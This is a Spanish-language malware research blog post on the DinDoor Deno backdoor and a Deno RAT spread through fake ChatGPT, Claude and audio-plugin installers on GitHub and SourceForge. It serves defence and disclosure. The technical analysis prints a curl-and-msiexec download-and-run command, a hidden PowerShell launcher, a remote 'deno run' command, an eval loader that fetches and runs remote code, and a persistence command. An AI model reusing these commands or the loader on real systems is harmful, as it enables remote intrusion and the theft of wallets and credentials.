Software falso en GitHub y SourceForge distribuye el RAT Deno 

| 26 de mayo de 2026
Un lobo con piel de cordero

Durante nuestras actividades de detección de amenazas, hemos encontrado en GitHub y SourceForge instaladores y complementos falsos que se hacen pasar por programas populares como ChatGPT, Claude, AutoTune y Kontakt, y que distribuyen una puerta trasera de Deno conocida como DinDoor. Los atacantes están utilizando YouTube comprometidos para difundir enlaces a estas plataformas. 

En última instancia, DinDoor descarga distintos tipos de malware, entre ellos un troyano de acceso remoto (RAT) encubierto, que también utiliza el entorno de ejecución de JavaScript Deno.  

Los atacantes recurren cada vez más a entornos de ejecución alternativos de JavaScript, como Bun y Deno, para eludir los métodos de detección tradicionales. En una de nuestras investigaciones recientes, documentamos cómo los atacantes utilizan Bun como vector de infección inicial para distribuir NWHStealer. Además, en marzo, ThreatDown observaron que los atacantes utilizaban Deno para distribuir CastleLoader a través de una cadena de infección en varias fases que incluía el señuelo ClickFix.  

Estas campañas utilizan Scoop (un instalador alternativo para Windows) y WinGet (el gestor Windows oficial Windows ) para instalar Deno en el equipo de la víctima. A continuación, utilizan el entorno de ejecución de Deno para ejecutar un RAT capaz de ejecutar cargas útiles adicionales y sustraer datos de navegadores, carteras y otras aplicaciones; este RAT cuenta con una interesante función peer-to-peer que utiliza Edge ocultar el tráfico malicioso. 

Plataformas legítimas utilizadas indebidamente para difundir malware

En la mayoría de los casos analizados, la cadena de infección suele iniciarse a través dearchivos MSIoscripts de PowerShelldescargados de GitHub o SourceForge. Por lo general, los usuarios son redirigidos a estos repositorios maliciosos a través deYouTube comprometidos. Estos vídeos suman actualmente más de 50 000 visualizaciones. 

YouTube comprometidos con vídeos generados por IA 
YouTube comprometidos con vídeos generados por IA 

YouTube comprometidos publican contenidos en los que se promociona diverso software y cambian constantemente de cuenta de GitHub para distribuir el malware. 

YouTube que contienen enlaces a los repositorios maliciosos de GitHub
YouTube que enlazan con los repositorios maliciosos de GitHub

El software falso parece estar diseñado para dirigirse a creadores, aficionados a la IA, gamers y usuarios con conocimientos técnicos, que son más propensos a descargar herramientas no oficiales, software pirateado o instaladores distribuidos por la comunidad desde sitios como GitHub y SourceForge. Hemos observado MSI y scripts falsos que se hacen pasar por instaladores y complementos de software y marcas legítimas como ChatGPT, Claude, ZENOLOGY, Ableton Live, AutoTune y Kontakt. 

Repositorio de GitHub para el instalador falso de ChatGPT
Repositorio de GitHub para el instalador falso de ChatGPT 

Los repositorios maliciosos contienen un comando tanto para Windows para macOS. Estos repositorios piden a los usuarios que abran el terminal y copien un comando malicioso, que descarga y ejecuta el archivo MSI desde GitHub. 

Complemento falso que pide al usuario que copie y ejecute el comando malicioso 
Complemento falso que pide al usuario que copie y ejecute el comando malicioso 

Las cuentas maliciosas de GitHub crean múltiples repositorios repletos de software falso y complementos relacionados con programas populares para atraer a más usuarios. 

Cuenta de GitHub con varios repositorios maliciosos
Cuenta de GitHub con varios repositorios maliciosos

Descubrimos que esa misma puerta trasera se distribuía a través de SourceForge, haciéndose pasar por un programa de videojuegos legítimo llamado GearUP y por un programa de eliminación de marcas de agua basado en IA llamado BWR. 

Los archivos MSI maliciosos alojados en SourceForge

Cómo mantenerse seguro  

Los atacantes se valieron en gran medida de la confianza. GitHub y SourceForge son plataformas legítimas, lo que hace que los proyectos falsos resulten más convincentes. Nos pusimos en contacto con GitHub, que eliminó rápidamente los repositorios maliciosos, pero los usuarios deben contar con que sigan apareciendo otros nuevos.

Aquí tienes algunas formas sencillas de mantenerte a salvo:  

  • Descarga software únicamente de los sitios web oficiales de los fabricantes.  
  • Desconfía de las versiones «gratuitas», pirateadas o no oficiales de los programas de pago. 
  • Ten cuidado con las descargas de GitHub, SourceForge, foros o sitios para compartir archivos, sobre todo si proceden de cuentas nuevas o desconocidas. 
  • Los atacantes siguen creando nuevos perfiles para distribuir este malware en distintas plataformas.  Antes de descargar nada, comprueba el perfil del desarrollador o del editor, su reputación y cuándo se creó. 
  • Comprueba que el contenido del archivo, las imágenes y los archivos de texto coincidan con lo que esperabas descargar. Los nombres y la estructura de los archivos suelen seguir patrones maliciosos fácilmente reconocibles.  
  • Comprueba el editor del archivo y la firma digital antes de ejecutarlo. Windows, normalmente puedes hacerlo haciendo clic con el botón derecho del ratón sobre el archivo y seleccionando «Propiedades» > «Firmas digitales». Ten en cuenta que una firma válida no garantiza que el archivo sea seguro, pero la ausencia de firma o una firma sospechosa suelen ser señales de alerta. 

Análisis técnico 

Los repositorios maliciosos de GitHub piden al usuario que abra el símbolo del sistema y ejecute un comando malicioso. Los comandos maliciosos descargan un archivo MSI de GitHub y lo instalan a través de msiexec. Estos repositorios a veces también contienen scripts de PowerShell para iniciar la cadena de infección de forma similar. 

Ejemplo de un comando malicioso alojado en GitHub que inicia la cadena de infección: 

curl -Lo %temp%\s.msi https://raw.githubusercontent.com/claude-free-plugin/install/main/install.msi && msiexec /i %temp%\s.msi 

El MSI coloca un archivo CMD y un script de PowerShell en un directorio aleatorio especificado en el MSI InstallationFolder y valores del Registro. Hemos detectado diferentes estructuras para estos MSI, con JavaScript en lugar del archivo CMD, o con archivos incrustados adicionales.

Los archivos «Ps1File» y «CmdFile» contenidos en el dropper MSI
Los archivos «Ps1File» y «CmdFile» contenidos en el dropper MSI

El archivo CMD ejecuta el script de PowerShell, cuyo nombre varía en las cadenas de infección analizadas: 

@set "SCRIPTDIR=%~dp0" @powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Start-Process powershell -ArgumentList ('-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File ""' + $env:SCRIPTDIR + '{Random name}.ps1""') -WindowStyle Hidden" 

El script de PowerShell ejecutado
El script de PowerShell ejecutado

El script de PowerShell se encarga de: 

  • Asegúrese de que el gestor de paquetes Scoop esté instalado y, si no lo está, instálelo con el script oficial de get.scoop.sh. Scoop es un popular instalador de software y gestor de paquetes de código abierto para la línea de comandos de Microsoft Windows. 
  • Usa Scoop para instalar WinGet (Windows Manager) si no lo tienes.  
  • Instala Deno (un entorno de ejecución de JavaScript/TypeScript) a través de WinGet o Scoop si aún no está instalado.

El uso de los gestores de paquetes Scoop y WinGet para instalar software adicional en el equipo comprometido es un enfoque interesante que ofrece al atacante una mayor flexibilidad. 

Comando ejecutado para instalar Deno mediante WinGet: 

"C:\Users\admin\scoop\apps\winget\current\winget.exe" install --id DenoLand.Deno -e --accept-source-agreements --accept-package-agreements --silent

La puerta trasera DinDoor 

A continuación, se ejecuta el siguiente paso con el ejecutable de Deno descargado: 

"C:\Users\admin\AppData\Local\Microsoft\WinGet\Packages\DenoLand.Deno_Microsoft.Winget.Source_8wekyb3d8bbwe\deno.exe" run -A http://{C2}/{random_path}.js

El código devuelto (cuyo nombre interno es «launcher-1») es una pequeña función de bucle eval que descarga la siguiente fase (cuyo nombre interno es «launcher-2»). La puerta trasera descargada se conoce públicamente comoDinDoor

var a="{C2}".split(","),i=0;for(;;){let e=null;try{let t=await fetch(a[i%a.length]+"/{BUILD_ID}.js");if(!t.ok)throw 0;e=await t.text()}catch{i++,await new Promise(t=>setTimeout(t,5e3));continue}try{await(0,eval)("(async()=>{"+e+"})()")}catch{}await new Promise(t=>setTimeout(t,3e4))}

La puerta trasera se encarga de la persistencia, envía información sobre el sistema comprometido al servidor de comando y control (C2) y ejecuta cargas útiles y comandos adicionales que le envía el C2. Los puntos de conexión HTTP utilizados para las comunicaciones C2 varían según los casos analizados.  

La puerta trasera obtiene un identificador de un punto final HTTP (por ejemplo, /security-pool) y, a continuación, utiliza ese identificador para obtener la siguiente etapa de /v2{ID}.js.   

La etapa obtenida se ejecuta mediante stdin sin guardarlo en el disco, utilizando el comando: 

deno run -A --no-check –

Para garantizar su persistencia, la puerta trasera ejecuta un comando de PowerShell con el fin de crear una clave RUN que ejecute el descargador «launcher-1» utilizado anteriormente: 

conhost.exe --headless "<deno.exe>" -A "%APPDATA%\<hash>.js

En los casos analizados, esta puerta trasera distribuye varias familias de malware. En este blog, analizamos una de las cargas útiles distribuidas: un RAT que utiliza el entorno de ejecución de JavaScript Deno. 

Deno RAT 

El RAT distribuido, al igual que los demás scripts analizados, utiliza el entorno JavaScript Deno y cuenta con todas las funciones necesarias para controlar el dispositivo, ejecutar comandos y cargas útiles, y extraer diversos tipos de datos a través de su módulo de robo de datos integrado.  

No hemos encontrado ningún nombre específico ni ninguna atribución para este RAT. En el pasado, se ha denominado a este RAT «Smokest» a partir de un valor concreto de la configuración. El estilo similar de los comentarios y la infraestructura compartida sugieren que el desarrollador de DinDoor y el de este RAT podrían ser la misma persona o el mismo equipo. 



Además de HTTP para la comunicación C2, el RAT también es compatible con WebSocket comunicación, habilitada cuando el valor JSON isLiveEnabled el valor devuelto por C2 está establecido en «true». 

La función principal de Deno RAT
La función principal de Deno RAT

El RAT admite diferentes comandos (exec, exec-ps, exec-sc, sysinfo, screenshot, stealer) y funcionalidad: 

  • Recopilar información del sistema sobre el dispositivo afectado 
  • Control bidireccional completo mediante una implementación personalizada de VNC a través de WebSocket 
  • Dirígete a más de 50 extensiones de carteras de criptomonedas y 10 carpetas de software de criptomonedas, como Atomic Wallet, Exodus, Electrum y ByteCoin
  • Recopila datos de navegadores como Chrome, Chromium, Brave, Edge, Avast Browser, Edge, Vivaldi, CentBrowser, Kometa, Orbitum, 360Browser y Chromodo 
  • Extraer datos de Telegram, Discord y Lightcord 
  • Registrar y modificar los datos del portapapeles  
  • Mostrar carpetas y archivos, y extraer el contenido de archivos con extensiones específicas  
  • Captura capturas de pantalla utilizando diferentes métodos  
  • Ejecutar cargas útiles adicionales  
  • Iniciar o cerrar procesos arbitrarios  
  • Ejecutar comandos con PowerShell  
  • Establecer túneles de proxy SOCKS5 a través de WebSocket 

Una de las características más interesantes del RAT es un modo de transmisión entre pares que utiliza el Edge para ocultar el tráfico y dificultar su detección.

Para transmitir vídeo en directo directamente al operador sin pasar por el servidor C2, el RAT inicia un Edge oculto de Microsoft Edge y se conecta a él a través del Protocolo Chrome (CDP). A continuación, inyecta una pequeña página HTML de WebRTC en Edge, convirtiendo el navegador legítimo en un relé de vídeo punto a punto. El agente Deno captura y codifica en H.264 la pantalla de la víctima, pasa los fotogramas a la Edge a través de CDP, y Edge los Edge directamente al navegador del operador a través de un canal de datos WebRTC cifrado. La señalización SDP e ICE, necesaria para establecer la conexión directa, se intercambia a través del WebSocket C2 existente. 

La página HTML insertada en Edge
La página HTML insertada en Edge  

El RAT utiliza los siguientes puntos finales para la comunicación C2, que pueden variar entre muestras: 

  • /health: comprueba la respuesta «ok» del C2 
  • /token: recepción de parámetros de configuración, entrega de tareas, resultados y datos extraídos 
  • /vnc/agent/: Ruta WebSocket utilizada para la comunicación VNC 

Los datos de configuración están codificados en Base64 y se envían en las comunicaciones con el C2 como token de autorización. Datos de configuración descodificados: 

{ 

  "buildId": "cd361ef3159f5ce9", 

  "buildNote": "BWR", 

  "buildType": "msi-v2", 

  "proxyUrls": ["{C2}"], 

  "userId": "…", 

  "accessTokenHash": "…", 

  "iat": 1779372546, 

  "exp": 2094948546 

}

Hemos encontrado diferentes versiones de este RAT, incluida una versión «light» denominada «agent-lite» que solo admite unos pocos comandos y utiliza Cloudflare Workers para la comunicación C2. 

La versión «light» del RAT
La versión «light» del RAT

 

Agradecimientos 

Indicadores de compromiso (IOC) 

URL 

  • https[:]//github.com/claude-free-plugin/
  • https[:]//github.com/ai-gen-profi 
  • https[:]//github.com/wharfdemolisherpit 
  • https[:]//sourceforge.net/projects/gearup/ 
  • https[:]//sourceforge.net/projects/bluewaveremover/

Dominios 

  • claudescript[.]top: sitio web de distribución 
  • ms-telemetry-gateway-us[.]com: C2 
  • dakatawebstick[.]com: C2 
  • ashpaltlonpro[.]com: C2 
  • cf-proxy[.]cloud-analytics-services[.]workers.dev: C2 
  • agilemast3r[.]duckdns[.]org: C2 
  • geralnewlong[.]com: C2 
  • hngfbgfbfb[.]cyou: C2 
  • logicalnewrestore[.]com: C2

direcciones IP 

  • 23[.]227[.]196[.]107: C2 
  • 45[.]137[.]99[.]121: C2 
  • 31[.]57[.]129[.]23: C2 
  • 66[.]78[.]40[.]107: C2 
  • 193[.]233[.]198[.]132: C2

No nos limitamos a informar de las amenazas: las eliminamos

Los riesgos de ciberseguridad nunca deben propagarse más allá de un titular. Mantenga las amenazas alejadas de sus dispositivos descargando Malwarebytes hoy mismo.

Acerca del autor

Gabriele es un ingeniero de investigación de malware al que le encanta luchar contra el malware. Cuando no está haciendo eso, le gusta disfrutar de la naturaleza, el arte y los animales.